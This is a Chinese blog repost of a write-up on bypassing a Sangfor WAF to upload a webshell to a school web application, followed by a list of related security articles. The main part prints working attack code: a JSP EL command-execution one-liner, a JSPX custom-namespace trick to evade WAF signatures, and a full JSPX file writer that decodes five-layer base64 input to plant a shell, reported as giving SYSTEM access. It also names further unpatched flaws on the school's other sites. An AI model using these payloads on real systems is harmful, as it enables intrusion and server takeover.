记一次绕过waf的任意文件上传

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 雷池官网docker安装我的版本是看官网介绍主要防御top10。 阅读详情

声明

以下内容,来自先知社区的John作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

前言

前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折,期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x01 获取网站接口

主界面:

图片

上传点:

图片

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie

图片

任意文件上传:

图片

0x02 后缀名绕过

代码不限制后缀名,但是waf限制呀!

后缀名jsp,jspx会拦截,但是jspp,jspxx等不会拦截。

所以要利用windows特性绕过,常规的绕过手法例如末尾加点号、::$DATA均无法绕过

图片

经过fuzz,发现正斜杠可以绕过

图片

0x03 内容绕过

常见的jsp标记均无法绕过

图片

图片

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种绕过方法:

  • jspEL表达式绕过

  • jspx命名空间绕过

第一种是利用${}标记:

payload:

${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过,鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法

第二种是利用命名空间的特性:

参照yzddmr6师傅的图:

图片

使用自定义的命名空间,替换掉jsp的关键字,将原本的替换成jsp:scriptlet

这样waf的正则匹配不到自然就会放行

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        out.println(30*30);
    </hi:scriptlet>
</hi>

图片

图片

0x04 获取网站路径

这里我们不能用相对路径来写入webshell,因为Tomcat与Apache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录

# 获取当前的根目录 
String path = System.getProperty("user.dir"); out.println(path);

图片

# 获取web项目所在的目录 
String path = application.getRealPath("test.jsp"); out.println(path);

图片

所以写入shell的绝对路径应为

D:/tomcat8/webapps/declare/static/upload/test.jsp

0x05 编码或加密绕过waf写入shell

菜鸡的payload:

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过。

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过

图片

成功getshell,System权限

图片

看了一眼依赖,可能存在log4j2和jackson的RCE,留着下次当靶场继续测试

图片

0x06 总结

深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了。

学校其他站点有thinkphp5.0.23 RCE、泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz。

本菜鸡第一次写文,如有错误或建议欢迎指出,各位师傅们轻喷

原文链接:

https://xz.aliyun.com/t/11337

文件上传绕过WAF:雷池、宝塔、安全狗技巧 WAF会检查上传文件的MIME类型(Content-Type)和文件扩展名,判断是否为可执行文件或恶意文件类型。例如,阻止上传.php.jsp.asp等脚本文件。WAF会对上传文件的内容进行深度分析,通过特征码匹配、沙箱分析等方式,检测文件中是否包含恶意代码(如WebShell特征码)。WAF会检查文件名是否包含特殊字符、双扩展名等异常情况,以防止攻击者通过文件名混淆绕过检测。WAF会分析HTTP请求包的结构,特别是部分的和boundary等字段,确保其符合HTTP协议规范,防止畸形请求绕过。 阅读详情

相关推荐

【WAF Bypass】文件上传绕过waf姿势总结

总结了文件上传绕waf的一些姿势,以及针对网站安全狗进行了实战演练。

m0_46103905的博客 3401

文件上传漏洞之客户端检测与绕过

客户端检测的绕过方法有三种: 1. 删除浏览器事件 2. 通过Burp Suite抓包修改后缀名 3. 伪造上传表单

weixin_51198941的博客 809

waf绕过方法总结

一、WAF防护原理 1. bypass 客户端JavaScript校验;服务器校验;文件内容头字段、编码校验;后缀名黑名单校验;自定义正则校验;waf设备校验; 有些waf不会防asp/php/jsp后缀文件,但是他会检测里面的文件; WTS-WAF bypass ; baidu colud bypass; aliyun waf; 安全狗上传bypass;云锁上传bypass; 2. defense ...

gugonggugong的博客 3335

一个实验了解文件上传漏洞利用

掌握文件上传的过程和文件上传漏洞的利用过程,利用文件上传漏洞上传木马脚本,通过WebShell工具连接后门,拿下网站服务器,理解文件上传的危害。

weixin_51198941的博客 345

反无人机作战体系全解析:从低慢小探测到分层拦截

随着小型无人机在军事和民用领域的广泛使用,低慢小目标探测与拦截成为低空安全的核心挑战。传统防空体系面对成本低廉、飞行高度低、雷达特征小的无人机集群时,暴露出探测难、识别难、处置成本失衡等问题。为应对威胁,反无人机体系采用分层闭环设计,融合雷达、光电、声学与无线电侦测实现多源感知,通过电子战软杀伤与导弹、高炮、激光等硬杀伤手段协同配合,并借助自动化指控系统缩短“传感器到射手”的响应时延。该体系既可支撑战场要地防护,也能为民用低空安防提供参考。围绕分层反制逻辑,梳理探测、软硬杀伤、指控布防及实战短板,提供理解反

weixin_42533120的博客 334

DeepSeek Harness接入QQ实战:把DSH变成赛博群友

大模型应用正从单机问答走向多平台集成,如何将模型能力嵌入即时通讯工具成为工程实践的热点。消息接入、会话管理、插件扩展是构建智能群聊机器人的核心三要素。DeepSeek Harness(DSH)作为一款模型会话工作流管理工具,凭借多会话管理、模型调用编排以及灵活的插件机制,能够在QQ群聊场景中实现“接收消息→模型生成→回复推送”的完整闭环。本文从基础概念切入,详解DSH接入QQ的两种实现路线——外部API转发与原生插件适配,覆盖环境准备、启动调试、接口调用与性能观察,并给出常见问题排查清单。无论是本地AI助理

weixin_27427619的博客 1967

常见的WAF绕过方法

本篇文章通过网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法 一、网络架构层 一般通过域名指向云WAF地址后反向实现代理,找到这些公司的服务器的真实IP即可实现绕过。 具体方法如下: 1、查找相关的二级域名及同一域名注册者的其他域名解析记录。 2、通过查看邮件MX解析记录来发现真实服务器的IP记录或网段,例如: windows可以执行命令: nslookup -qt=mx baidu.com Linux可以执行如下命令来查看baidu.com域名的MX解析...

武天旭的博客 1万+

电子产品设计中EFT防护的关键技术与实践

本文深入探讨了电子产品设计中EFT(快速瞬变脉冲群)防护的关键技术与实践。文章从EFT干扰的原理入手,系统阐述了通过优化PCB布局与地平面设计、构建电源与信号端口滤波防护电路、精选核心器件以及实施软件容错策略,来构建多层次、系统性的抗干扰防线,助力产品稳定通过严苛的电磁兼容测试。

e4f5g6h的博客 787

log4j RCE waf 绕过技巧

log4j waf 绕过技巧 - ph4nt0mer - 博客园 (cnblogs.com)原来的poc: Copy绕过的poc: Copy可行 Copy不一定可行 Copy可行unico字符串下列表达式均等价于abc: Copylog4j poc集合 https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis● 不出现port,避免被waf匹配ip:port Copy

weixin_50464560的博客 2441

苏州大学自动化考研842自动控制原理:手把手教你用胡寿松《自控》高效备考(附复试电工/电子/微机原理攻略)

本文详细解析苏州大学自动化考研842自动控制原理备考策略,以胡寿松《自动控制原理》为核心教材,提供三阶段高效学习路径和实战技巧。重点涵盖频域分析、根轨迹绘制等高频考点,并针对机电、光电、轨道三个学院的复试科目(电工电子技术、电子技术基础、微机原理与接口技术)给出差异化备考方案,助力考生全面提升笔试和面试表现。

weixin_42638178的博客 402

report_delay_calculation/check_timing/report_annotated_parasitics/report_analysis_coverge

如何debug 一颗cell 或一段net 的delay, 常用的办法是用report_delay_calculation 报这颗cell 或这段net, 会得到形式如下的report, 从该report 中可以得到: 表头需要特别关注的是command, 确定report 的对象及加的option; From/To pin: cell 的input pin 和...

diedai7174的博客 1800

WAF攻防第七十六天

0、WAF介绍&模式&识别&防护等 1、信息收集-被动扫描&第三方接口 2、信息收集-基于爬虫&文件目录探针 3、信息收集-基于用户&代理池&白名单

B_l_a_nk的博客 1128

[漏洞利用]利用五次Shift越权破解win7\win10开机密码

注:第一个学习和接触的Windows漏洞 文章目录本机实验环境前置知识漏洞原理漏洞介绍漏洞验证解决方法基本流程介绍详细步骤截图 本机实验环境 虚拟机:VMware Workstation 14 pro 操作系统:Windows10 前置知识 1、cmd工具路径 c:\windows\system32\cmd,按五次shift默认调用同目录下sethc文件,其路径为“c:\windows\system32\sethc.exe” 2、用户/账户密码存储位置 c:\windows\system32\config\

Y4tacker的博客 2万+

WAF详解及WAF绕过

waf(web application firewall): 原理: web应用防火墙,一款集网站内容安全防护、网站资源安全防护及流量保护功能为一体的服务器工具。为用户提供实时网站安全防护,避免各类针对网站的攻击带来的危害。(核心其实也是基于规则的防御)| 任何工具(Awvs、IPS、IDS)其实都是基于规则进行匹配,最多加个爬虫功能 功能: 网马|木马主动防御及查杀 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90% 网站漏洞防御

赤赤三的博客 9994

手把手教你玩转服务器芯片架构--​​7.1 项目1:基于FPGA的RISC-V软核设计(Verilog实现核心指令执行单元)​

本文介绍了基于FPGA的RISC-V软核设计实践项目。项目采用Verilog实现RV32I指令集核心处理器,包含指令解码、ALU、寄存器堆等关键模块设计,并通过功能仿真验证。在Xilinx Artix-7 FPGA上完成综合与部署,资源利用率控制在5%以内。最后探讨了五级流水线优化、指令集扩展等进阶方案。该实践完整覆盖了从指令集设计、RTL实现到FPGA部署的全流程,可作为学习处理器架构与FPGA开发的典型案例。

MHD0815的博客 175

基于Xilinx K7-410T的高速DAC之AD9129开发笔记(一)

引言:从本文开始,我们介绍下项目中设计的并行LVDS高速DAC接口设计,包括DAC与FPGA硬件接口设计、软件设计等。项目设计高速DAC采用了ADI公司的AD9129,该芯片最大更新速率5.7Gsps,该芯片在宽带通信应用、LTE、雷达信号产生、干扰机等领域有广泛应用。

FPGA_Designer 2535

绕过waf的任意文件上传

绕过waf的任意文件上传

yggcwhat 1311

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

waf绕过详解

目录 waf防护原理讲解 目录扫描绕过waf 手工注入绕过waf sqlmap注入绕过waf 编写sqlmap绕过waf脚本 过waf一句话编写讲解 菜刀连接绕过waf webshell上传绕过waf 提权绕过waf waf绕过原理详解 了解waf防护原理 查看waf防护位置 熟悉防护规则 了解防护机制 查看拦截时间阀值 我们可以下载一个安全狗,查看它详细的防护机制,...

zdy8023的博客 1万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

文件上传绕过waf

前言 在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。 这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。 常见情况 下面总结下我经常遇到的情况: 一. 检测文件扩展名 很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。 1. 寻找黑名单之外的扩展名 比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。 2. 构造

None安全团队 4270

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

WAF绕过小技巧

HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。

2401_88752464的博客 2240

WAF绕过之文件上传

环境:安全狗,DVWA我们上传一个一句话木马,被拦截!但是我们并不知道waf拦截我们的机制所以我们可以采用控制变量法:准备两个文件:1.txt 和1.php文件中写入相同的内容:<?然后上传并抓包1.txt可以成功上传:!1.php上传失败:!那我们可以先猜测它是通过后缀名来判断的接下来我们在判断是否是通过content-type来进行拦截我们上传1.txt文件,抓包修改content-type为:application/octet-stream!

wangluoanquan111的博客 1673

24 WEB漏洞-文件上传之WAF绕过及安全修复_阿里云盾waf绕过怎么修复

我这个测试是没有必要的,这只是说大家以后碰到同类的防护软件,不管是安全狗还是宝塔,安全公司里面的产品,那么大家在研究的时候,也是这么个研究方法,大家不要自己绕过就绕过了,我们学的是研究的方法后期只要脑瓜子灵活一点,是没有任何问题是可以绕过的,方法学不到,那讲了也是白讲,我希望大家学的是绕过的方法,以后自己就能做这个事情。.php,它的意义是很明显的,因为安全狗也是程序,当它碰到截断,也是会截断的,后面的.php就没有匹配到,最后上传的后缀是.php就行了。这是垃圾数据的一个典型情况,末尾是要加;

Karka_的博客 2243
上一篇: [有手就行]记一次艰难的外网打点
下一篇: Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值